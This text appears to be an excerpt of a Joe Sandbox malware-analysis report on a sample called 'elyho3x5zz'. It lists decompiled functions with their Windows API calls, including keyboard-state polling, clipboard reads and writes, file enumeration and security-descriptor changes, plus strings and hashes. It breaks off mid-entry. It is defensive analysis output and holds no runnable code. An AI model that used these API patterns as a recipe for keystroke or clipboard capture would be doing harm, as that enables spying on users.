GetClipboardData.USER32 ref: 00007FF73A260AC9
CloseClipboard.USER32 ref: 00007FF73A260AD7
GlobalLock.KERNEL32 ref: 00007FF73A260B07
CloseClipboard.USER32 ref: 00007FF73A260B12
GlobalUnlock.KERNEL32 ref: 00007FF73A260B42
IsClipboardFormatAvailable.USER32 ref: 00007FF73A260B52
GetClipboardData.USER32 ref: 00007FF73A260B61
GlobalLock.KERNEL32 ref: 00007FF73A260B76
GlobalUnlock.KERNEL32 ref: 00007FF73A260BB5
CloseClipboard.USER32 ref: 00007FF73A260CFC

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 557b8ed243c538382dd5d382c55420d64421fbcb396d52b4b2bf18dae75efa75
Instruction ID: 7d4a1dbeb1b0c41493e06cdbf082c52e16429f656c6a9bcc3bc748c9b9f32553
Opcode Fuzzy Hash: 557b8ed243c538382dd5d382c55420d64421fbcb396d52b4b2bf18dae75efa75
Instruction Fuzzy Hash: 69718F2AB0DA42A6FA10BB15E45627CA361FFC4B84FC080B5E90E477A5DF7CE505B760

Function 00007FF73A26206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF73A262094
LoadCursorW.USER32 ref: 00007FF73A2620A5
LoadCursorW.USER32 ref: 00007FF73A2620B6
LoadCursorW.USER32 ref: 00007FF73A2620C7
LoadCursorW.USER32 ref: 00007FF73A2620D8
LoadCursorW.USER32 ref: 00007FF73A2620E9
LoadCursorW.USER32 ref: 00007FF73A2620FA
LoadCursorW.USER32 ref: 00007FF73A26210B
LoadCursorW.USER32 ref: 00007FF73A26211C
LoadCursorW.USER32 ref: 00007FF73A26212D
LoadCursorW.USER32 ref: 00007FF73A26213E
LoadCursorW.USER32 ref: 00007FF73A26214F
LoadCursorW.USER32 ref: 00007FF73A262160
LoadCursorW.USER32 ref: 00007FF73A262171
LoadCursorW.USER32 ref: 00007FF73A262182
LoadCursorW.USER32 ref: 00007FF73A262193
GetCursorInfo.USER32 ref: 00007FF73A2621A8
GetLastError.KERNEL32 ref: 00007FF73A2621E9

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: 97bf352eae7d9b3ff518c1d141d8caa6f68097b7e3ee44afc88a5d72cdd4f8b1
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 9C519F36F0DB029AFB48AF64F81A17D73A5EB88744F404479EA0E83784DE7CE455A314

Function 00007FF73A21529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF73A2152E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A21595E
memcpy_s.LIBCMT ref: 00007FF73A21630B
memcpy_s.LIBCMT ref: 00007FF73A2163B2

Part of subcall function 00007FF73A201C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A201C5A

memcpy_s.LIBCMT ref: 00007FF73A21647B

Part of subcall function 00007FF73A20B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A20B2E9

Strings

1#QNAN, xrefs: 00007FF73A216534
1#IND, xrefs: 00007FF73A2164F6
1#INF, xrefs: 00007FF73A216553
1#SNAN, xrefs: 00007FF73A216515

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction ID: 6f5e26c02980c56dd11c5d353f9fafdc2ff89e86eabf2046177c6ba6d39cf0ce
Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
Instruction Fuzzy Hash: 3FB2087AA082829FF724AE25D8416FDB7A1FBC438CF905175DA0A57B84DF3CE504AB50

Function 00007FF73A1D5F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF73A1D5F65

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction ID: 61ad3a455f5f4c518938d43579437dcb3ee825b0e87da926f23b58bfea9ab36f
Opcode Fuzzy Hash: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction Fuzzy Hash: B0A1F83AA08641A6F724EF25E40627EF760FB84794FD04175EA4E47A98CF3CE505E710

Function 00007FF73A212400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF73A21243E

Part of subcall function 00007FF73A211BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A211BF4

_get_daylight.LIBCMT ref: 00007FF73A21242D

Part of subcall function 00007FF73A211C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A211C54

_get_daylight.LIBCMT ref: 00007FF73A212673
_get_daylight.LIBCMT ref: 00007FF73A212684
_get_daylight.LIBCMT ref: 00007FF73A212695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A2128F5), ref: 00007FF73A2126BC
WideCharToMultiByte.KERNEL32 ref: 00007FF73A212752
WideCharToMultiByte.KERNEL32 ref: 00007FF73A21279E

Strings

-, xrefs: 00007FF73A212503
:, xrefs: 00007FF73A212534
?, xrefs: 00007FF73A212791
:, xrefs: 00007FF73A21255E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
String ID: -$:$:$?
API String ID: 3440502458-92861585
Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction ID: bf183e7c3502ff38dd4b4f3d94c2f914a335dc9c53abb2b3e00165e336f88c0f
Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
Instruction Fuzzy Hash: BAE1E33AA08382A6F728EF35A8525B9B791FBC4788FC45175FA4D42A85DF3CD441B720

Function 00007FF73A2572A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A2572E8
FindClose.KERNEL32 ref: 00007FF73A25731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF73A257359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF73A257381
FileTimeToSystemTime.KERNEL32 ref: 00007FF73A2573B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF73A2573E3

Strings

%4d, xrefs: 00007FF73A2574C3
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF73A257441
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF73A25747E
%02d, xrefs: 00007FF73A257519
%03d, xrefs: 00007FF73A2576CF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 99373204d3eee79308f12c972c1776314de6b4721b08e54cea434bd76cde1071
Instruction ID: 8a5247ae01eaa180d05bf2d7ced87655fdf271f69001a3e8f2b78669f25097a3
Opcode Fuzzy Hash: 99373204d3eee79308f12c972c1776314de6b4721b08e54cea434bd76cde1071
Instruction Fuzzy Hash: 90D18D66B18A52A5FB10EB65E4420FEF771FB80794F800172EA4D47AA9DF7CD508E720

Function 00007FF73A25A350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A25A390
GetFileAttributesW.KERNEL32 ref: 00007FF73A25A3CE
SetFileAttributesW.KERNEL32 ref: 00007FF73A25A3E5
FindNextFileW.KERNEL32 ref: 00007FF73A25A3FA
FindClose.KERNEL32 ref: 00007FF73A25A407
FindClose.KERNEL32 ref: 00007FF73A25A424
FindFirstFileW.KERNEL32 ref: 00007FF73A25A43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A25A489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A25A4B0
FindNextFileW.KERNEL32 ref: 00007FF73A25A4BE
FindClose.KERNEL32 ref: 00007FF73A25A4CD

Strings

*.*, xrefs: 00007FF73A25A436

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: 5865d7a322fb453395f441c21c6726b173e70f8c1ecd7b4677742fae914aa1a3
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: CD41B16960864264FF40AF55E84A2B9E3A4FF84BA4FC441B1ED6D436A4DF3CD40AF720

Function 00007FF73A24D87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF73A24D8F5
mciSendStringW.WINMM ref: 00007FF73A24D913
mciSendStringW.WINMM ref: 00007FF73A24D92B
mciSendStringW.WINMM ref: 00007FF73A24D949
mciSendStringW.WINMM ref: 00007FF73A24D967

Strings

play PlayMe, xrefs: 00007FF73A24D960
alias PlayMe, xrefs: 00007FF73A24D8CF
close PlayMe, xrefs: 00007FF73A24D907, 00007FF73A24D952
status PlayMe mode, xrefs: 00007FF73A24D8EE
open , xrefs: 00007FF73A24D894
play PlayMe wait, xrefs: 00007FF73A24D942

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 0c4b7ffb51465110a801df2b1a2053930165c7dcbe653a3015cc393272356e2c
Instruction ID: 960bbc45c055ef860496160295b8e033f41105597af9632aa4d38de6907ed8c7
Opcode Fuzzy Hash: 0c4b7ffb51465110a801df2b1a2053930165c7dcbe653a3015cc393272356e2c
Instruction Fuzzy Hash: 8021612BB08992A2F720FB24F8566BAE360BFD5748FC14171E54D43958EE2CD509E720

Function 00007FF73A25A4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF73A25A530
FindNextFileW.KERNEL32 ref: 00007FF73A25A588
FindClose.KERNEL32 ref: 00007FF73A25A595
FindClose.KERNEL32 ref: 00007FF73A25A5B3
FindFirstFileW.KERNEL32 ref: 00007FF73A25A5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A25A611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A25A638
FindNextFileW.KERNEL32 ref: 00007FF73A25A646
FindClose.KERNEL32 ref: 00007FF73A25A655

Part of subcall function 00007FF73A24C67C: CreateFileW.KERNEL32 ref: 00007FF73A24C6B1

Strings

*.*, xrefs: 00007FF73A25A5C5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 1750c878151fa0173e5ae8fb67053c134855bf089702d9d92c34e9686954a637
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: 9841A159A0CA4364FE50AF11A84A6B9E350BF84BE4FC141B1ED6D47695DF3CD409F720

Function 00007FF73A2583D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF73A258452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF73A2584FC
SHGetDesktopFolder.SHELL32 ref: 00007FF73A258516
CoCreateInstance.OLE32 ref: 00007FF73A25858F
SHCreateShellItem.SHELL32 ref: 00007FF73A258629
CoTaskMemFree.OLE32 ref: 00007FF73A258699
SHBrowseForFolderW.SHELL32 ref: 00007FF73A25872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF73A25874B
CoTaskMemFree.OLE32 ref: 00007FF73A258754
CoTaskMemFree.OLE32 ref: 00007FF73A258799
CoUninitialize.OLE32 ref: 00007FF73A25879F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 47d9648184b6ac8105b91a1ce0b108649052850a5ca3e0ca03a513eeb084477d
Instruction ID: 23f008bed817cd9248439b6577e6115d112ae9f38f19e42896c122cc8e8ae5ca
Opcode Fuzzy Hash: 47d9648184b6ac8105b91a1ce0b108649052850a5ca3e0ca03a513eeb084477d
Instruction Fuzzy Hash: 01C1786BB04B8596EB10EF26E8811ADB7B0FB88B94F854076DE4E47B65CF38D144E710

Function 00007FF73A23C858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A23CD34: GetUserObjectSecurity.USER32 ref: 00007FF73A23CD65
Part of subcall function 00007FF73A23CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF73A23C65A), ref: 00007FF73A23CD71
Part of subcall function 00007FF73A23CD34: GetUserObjectSecurity.USER32 ref: 00007FF73A23CD9C

Part of subcall function 00007FF73A23CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF73A23C66F), ref: 00007FF73A23CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF73A23C8E7
GetAclInformation.ADVAPI32 ref: 00007FF73A23C921
GetLengthSid.ADVAPI32 ref: 00007FF73A23C932
GetAce.ADVAPI32 ref: 00007FF73A23C970
AddAce.ADVAPI32 ref: 00007FF73A23C997
GetLengthSid.ADVAPI32 ref: 00007FF73A23C9AF
GetLengthSid.ADVAPI32 ref: 00007FF73A23C9D2
CopySid.ADVAPI32 ref: 00007FF73A23C9E1
AddAce.ADVAPI32 ref: 00007FF73A23CA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF73A23CA4B
SetUserObjectSecurity.USER32 ref: 00007FF73A23CA60

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: d02c86f0f6d65764d20faf6a44c9361752addb4082208421a768be2d21fccba2
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: 0461DF2AF04651AAFB00EF61C84A5BC77B4FB85B88B844075DE0A53B94DF39D809F320

Function 00007FF73A247BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF73A247BD0
GetAsyncKeyState.USER32 ref: 00007FF73A247C3F
GetKeyState.USER32 ref: 00007FF73A247C54
GetAsyncKeyState.USER32 ref: 00007FF73A247C6D
GetKeyState.USER32 ref: 00007FF73A247C7D
GetAsyncKeyState.USER32 ref: 00007FF73A247C97
GetKeyState.USER32 ref: 00007FF73A247CA7
GetAsyncKeyState.USER32 ref: 00007FF73A247CC1
GetKeyState.USER32 ref: 00007FF73A247CD1
GetAsyncKeyState.USER32 ref: 00007FF73A247CEB
GetKeyState.USER32 ref: 00007FF73A247CFB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: bd96fd20a8c869ad8f7c33a2bd0832397c0fdaad0237e836540fb4eb4bd252d9
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 3941C829E0CAD179FB71BB60E402379AB90EF96B44F8840B9D799031C1CF1DA894B771

Function 00007FF73A2559D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF73A2559FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF73A255A86
GetLastError.KERNEL32 ref: 00007FF73A255A90
SetErrorMode.KERNEL32 ref: 00007FF73A255B17

Strings

UNKNOWN, xrefs: 00007FF73A255AB0
INVALID, xrefs: 00007FF73A255ACD
READONLY, xrefs: 00007FF73A255AC4
READY, xrefs: 00007FF73A255AD6
NOTREADY, xrefs: 00007FF73A255AB7

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: e1a572a878ac439d4873769eb739623b4178df3d2e0a7b9e1def14c61bfa5fa1
Instruction ID: f86573ad74bbf30bb4e4c888814b572718200058483ab83c9213583787abc732
Opcode Fuzzy Hash: e1a572a878ac439d4873769eb739623b4178df3d2e0a7b9e1def14c61bfa5fa1
Instruction Fuzzy Hash: 25415F7BA08A42A9FB14EB25D4821BCB771FBC8B94F844572DA0D43B55DF38D585E320

Function 00007FF73A260D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF73A260D62
EmptyClipboard.USER32 ref: 00007FF73A260D68
GlobalAlloc.KERNEL32 ref: 00007FF73A260D80
CloseClipboard.USER32 ref: 00007FF73A260E72

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction ID: a0b77d81cab5620a9bf511bab6a610fb66ec1133e65c12481173e057b80396b7
Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction Fuzzy Hash: E341B17AA0964296FB00AF15E48633CB760FF94B85F848474EA0E477A2CF7CE051B724

Function 00007FF73A24B7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

